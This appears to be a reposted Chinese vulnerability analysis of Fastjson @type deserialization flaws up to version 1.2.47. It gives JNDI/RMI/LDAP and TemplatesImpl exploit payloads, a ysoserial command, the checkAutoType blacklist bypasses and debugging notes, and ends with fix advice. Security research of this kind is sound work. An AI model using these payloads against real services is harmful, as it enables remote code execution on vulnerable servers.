下文来自网络,未整理
前言
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
第一版
fastjson版本:1.2.22-1.2.24
这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。(后面有具体调试,以基于rmi+远程加载类的POC为例)
针对的类是JdbcRowSetImpl类和特殊类TemplatesImpl。由于jdk版本的一些限制,需要使用多种姿势绕过,但是关于fastjson的基础原理都是一样的。
POC有以下几种:
基于rmi+远程加载类
基于ldap+远程加载类
基于rmi+BeanFactory类
基于ldap+jndi
基于特殊类
基于rmi+远程加载类
payload
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://localhost:1099/Exploit”,”autoCommit”:true}
将rmi服务中的Exploit绑定于https://XXX/Exploit.class(远程类)
使用JSON.parse(),执行结果如下
在JDK 6u132, JDK 7u122, JDK 8u113 中,Java限制了Naming服务中JNDI Reference远程加载Object Factory类的特性。
对于系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。
由于我的jdk版本是1.8.0_221,因此需要System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);。假定服务端将com.sun.jndi.rmi.object.trustURLCodebase手动设为true是不现实的,因此该方法可利用面较小。
基于ldap+远程加载类
payload
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://localhost:389/Exploit”, “autoCommit”:true}
将ldap服务中的Exploit绑定于https://XXX/Exploit.class(远程类)
使用JSON.parse(),执行结果如下
与rmi+远程加载类原理一样,只不过使用了ldap服务替代rmi服务,利用范围更广一些。
在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,取消了ldap远程加载Object Factory类的特性。
较高版本的jdk中,需要System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);。
基于rmi+BeanFactory
由于高版本jdk对rmi服务禁用了远程加载类的特性,因此我们可以从本地类入手,比如BeanFactory类。
BeanFactory类特征如下
存在于tomcat依赖包中
存在getObjectInstance()方法
getObjectInstance()方法加载其他类并实例化
getObjectInstance()方法可将加载类中的setXXX函数强制转换为加载类中的其他函数并调用
javax.el.ELProcessor类特征
构造函数无需传值(默认构造函数)
类中含有可造成代码执行的函数eval,且输入类型为String
public Object eval(String expression) {
return getValue(expression, Object.class);
}
Reference工厂类的要求如下
存在于客户端(靶机)的本地
至少存在一个 getObjectInstance() 方法
实现 javax.naming.spi.ObjectFactory 接口
BeanFactory类刚好满足Reference工厂类的要求,且可实例化其他类,因此可利用。
以下是从BeanFactory.java的getObjectInstance()方法中提取出来的比较关键的java语句,结合payload比较好理解。
执行结果如下
在JDK 11.0.1、8u191、7u201、6u211之后有效。该利用方式只能利用靶机本地的类,该类存在于tomcat的依赖包,因此前提是靶机建立在tomcat上。jdk较高版本禁用rmi远程加载类,该方法调用靶机含有的本地类,因此可适应较高jdk版本。
基于ldap+jndi
高版本jdk对ldap服务远程加载类的特性作了限制,但是除了JNDI Reference,ldap服务还可以对加入的 javaSerializedData数据进行反序列化。
使用以下命令生成base64编码的恶意序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 ‘open /Applications/Calculator.app’|base64
在上述的ldap服务端中加入
String evilString=”rO0ABXNyABFqYXZhLn…..”;e.addAttribute(“javaSerializedData”,Base64.decode(evilString));
基于特殊类
@type赋值为该类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,无需使用rmi或ldap远程加载类,因此对jdk版本无限制。
@type加载进该类,设置变量_outputproperties和_bytecodes。
在fastjson解析时,由于存在_outputproperties变量,会去调用getOutputProperties方法。之后会调试解释。
该方法里面会将_bytecodesbase64解码后的类加载并实例化。_bytecodes也可控,因此造成代码执行。
payload
“{\”@type\”:\”” + NASTY_CLASS + “\”,\”_bytecodes\”:[\””+evilCode+”\”],’_tfactory’:{ },\”_outputProperties\”:{ },\”allowedProtocols\”:\”all\”}”
问题:
为什么Test类中要继承AbstractTranslet,为什么需要重写transform两个方法。transform方法一个是两个参数,一个是三个参数。
以下为造成远程命令执行的关键代码,意思是将_bytecodesbase64解码后的类加载进来并实例化。可以看到代码将实例化后的对象强制转化为AbstractTranslet类型。为了使得程序不出错,我们需要在Test类中继承AbstractTranslet。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
而AbstractTranslet是一个抽象类,抽象类中有一个抽象方法,如下所示:
public abstract void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)throws TransletException;
子类必须重写抽象父类的抽象方法。
所以Test类必须重写AbstractTranslet类的transform方法(三个输入参数)。
而AbstractTranslet类继承于Translet类。Translet是一个接口类,AbstractTranslet类是一个抽象类。
抽象类不必实现接口的所有方法,但是普通类必须实现接口的所有方法。
Test类是普通类,继承于AbstractTranslet类,AbstractTranslet类继承于Translet接口,因此Test类继承于Translet接口。
AbstractTranslet类实现了Translet接口类中的所有方法,除了以下这个方法。(两个参数)
public void transform(DOM document, SerializationHandler[] handlers)throws TransletException;
而Test类是一个普通类,需要实现Translet接口的所有方法。因此Test类需要实现AbstractTranslet类中未实现的Translet接口里的方法。即上述transform方法(两个输入参数)。
调试分析
fastjson在处理@type形式的类的时候,会默认调用该类的set/get/is函数。
所以可利用的@type加载类的条件是:
成员变量可控,且值可传入某些敏感函数
含有某个变量对应的set/get/is方法且方法中含有敏感函数
以JdbcRowSetImpl类为例,就是将json数据中的”autoCommit”:true读入。fastjson解析时,调用了JdbcRowSetImpl类的setAutoCommit方法,该方法调用了lookup函数。而lookup函数的输入参数为dataSourceName成员变量,在json数据中可控。
在parse处下断点调试。
问:什么样的变量会被加载类方法?
经调试知,是在以下语句执行时,完成了fieldList的赋值。
ObjectDeserializer deserializer = config.getDeserializer(clazz);
关键在于其中的JavaBeanInfo.java。
会建立一个fieldList对象,存储每个满足一定条件的field对象。filed对象包含
变量名
所在类
对应set/get方法
方法返回类型所在类
方法参数类型所在类
…
field = set/get的方法名去掉set/get,并将第一个字母小写
field的set或get方法应满足以下条件
set方法具体特征:
length大于等于4
if (methodName.length() < 4) { continue; }
不是static类型
if (Modifier.isStatic(method.getModifiers())) { continue; }
函数返回值类型为void类型或者不等于所在类的类型
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { continue; }
函数参数有且只有一个
Class<?>[] types = method.getParameterTypes(); if (types.length != 1) { continue; }
函数名为set开头
javaif (!methodName.startsWith(“set”)) { // TODO “set”的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解? continue;}
get方法具体特征:
length大于等于4
if (methodName.length() < 4) { continue;}
不是static类型
if (Modifier.isStatic(method.getModifiers())) { continue;}
以get开头,第四个字母为大写
if (methodName.startsWith(“get”) && Character.isUpperCase(methodName.charAt(3))) { if (method.getParameterTypes().length != 0) { continue; }
其实是满足一定条件的set/get方法(上述)所对应的变量会被加载到fieldList中。
最终JdbcRowSetImpl类的fieldList加载了以下变量:
matchColumn、autoCommit、command、dataSourceName、url、username、password、type
问:上一问得到的fieldList里的变量所对应的方法中哪些会被调用?
经调试知,是在以下语句执行时,调用了部分变量的set/get方法,从而造成远程代码执行。
return deserializer.deserialze(this, clazz, fieldName);
关键在JavaBeanDeserializer.java的deserialze方法。
上一问得到的filedList会根据变量名进行排名得到sortedFieldDeserializers
,其中有autoCommit、command等。
以下是JdbcRowSetImpl类的成员变量,当在json数据中时会被自动读取。
sortedFieldDeserializers会被for循环遍历每一个field对象,不同的field对象对应的变量名根据不同的特征到不同的代码分支。
如果sortedFieldDeserializers中的变量名在json数据中存在
,则会进入
else {fieldDeser.setValue(object, fieldValue);}
进入FieldDeserializer.java的setValue方法。
fieldInfo = sortedFieldDeserializers[i]
要想调用到方法(即使用了method.invoke)
fieldInfo中的method必须存在
如果是只有get方法,且返回类型满足一定条件(比如Map.class.isAssignableFrom(method.getReturnType()),则进入某个分支进行进行invoke调用
那么method为setXXX方法,进行invoke调用
个人结论
在json数据中
成员变量的值会被加载到object变量中
变量具有set方法或者只有get方法且返回类型满足一定条件,该set/get方法会被调用
set/get方法的具体条件见第一问
所以可以寻找以下特征的变量
set方法中含有敏感函数(如JdbcRowSetImpl类的setAutoCommit)
get方法中含有敏感函数,且只实现了get方法,且返回类型满足一定条件,条件见第一问(如TemplatesImpl类的getOutputProperties)
No.4
第二版
到fastjson 1.2.25版本的时候,再去执行上述代码,会出现以下报错
在ParserConfig类的checkAutoType方法中,如果类名以黑名单denyList中的字符串开头,则抛出错误
for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException(“autoType is not support. “ + typeName); }}
denyList是黑名单,由于com.sun.rowset.JdbcRowSetImpl以com.sun开头,所以className.startsWith(deny)为true。fastjson数据中的@type的值不能以黑名单上的字符串开头,因此抛出错误。
denyList如下所示:
private String[] denyList = “bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework”.split(“,”);
除了绕过黑名单上的类的方法,大佬们还想出了另外一种方法。
使用Lcom.sun.rowset.JdbcRowSetImpl;,可绕过checkAutoType的检测,又可执行loadClass。
由于输入的类以L开头;结尾,去掉前后两个字符之后直接执行loadClass,绕过了checkAutoType。
更新了的checkAutoType方法中:
autoTypeSupport默认是false。
acceptList没有赋值。
跳到了checkAutoType的最后,!autoTypeSupport为true,因此无法loadClass。
if (!autoTypeSupport) { throw new JSONException(“autoType is not support. “ + typeName);}
No.5
第三版
版本:fastjson1.2.47及其之前
由于调用loadClass方法时,cache恒为true,导致恶意类不通过@type加载进,却put进HashMap,躲过了checkAutoType的检测。
在第二次解析时,通过@type加载进恶意类,checkAutoType方法会从HashMap中读取相应类并返回,也躲过了checkAutoType的检测。
调试分析
当执行JSON.parse(payload_2)时,chekAutoType方法里,以下语句会返回Class com.sun.rowset.JdbcRowSetImpl。
if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);}
因此在checkAutoType方法中会进入该分支,并且由于expectClass为null,会运行到return clazz。
因此执行checkAutoType方法时不会抛出异常。
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException(“type not match. “ + typeName + “ -> “ + expectClass.getName());
}
return clazz;
}
而当删去JSON.parse(payload),仅执行JSON.parse(payload_2)时,以下语句的返回结果为null。
if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);}
因此还是会抛出异常。
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException(“autoType is not support. “ + typeName);}
clazz = TypeUtils.getClassFromMapping(typeName);的用途是
从mappings中根据typename即com.sun.rowset.JdbcRowSetImpl,返回对应的类对象。
所以当加与不加JSON.parse(payload)的结果就是mappings里有没有com.sun.rowset.JdbcRowSetImpl。
这得具体调试JSON.parse(payload)。
JSON.parse(payload)中的@type中的java.lang.Class会调用TypeUtils.java中的loadClass方法。
在loadClass方法中搜索mappings.put,将三个都打上断点,总有一个是对的…
再每个断点分别设立条件,直到className等于com.sun.rowset.JdbcRowSetImpl才可跳到这三个断点的某一个。
跳到了这个断点,因此与cache的值有关。
由于调用loadClass时,cache的值恒为true,因此造成了将恶意类读入缓存HashMap。
return loadClass(className, classLoader, true);
个人结论
绕过
绕过checkAutoType方法
绕过黑名单
利用类
拥有set或get方法(具体特征见第一版中的调试分析)
set或get方法里能调用 实例化/lookup/eval等敏感函数
实例化/lookup/eval等敏感函数的内容可控(即内容为某个成员变量的值)
No.6
修复建议
- 禁止fastjson数据中使用@type
2. 升级fastjson版本至少到1.2.61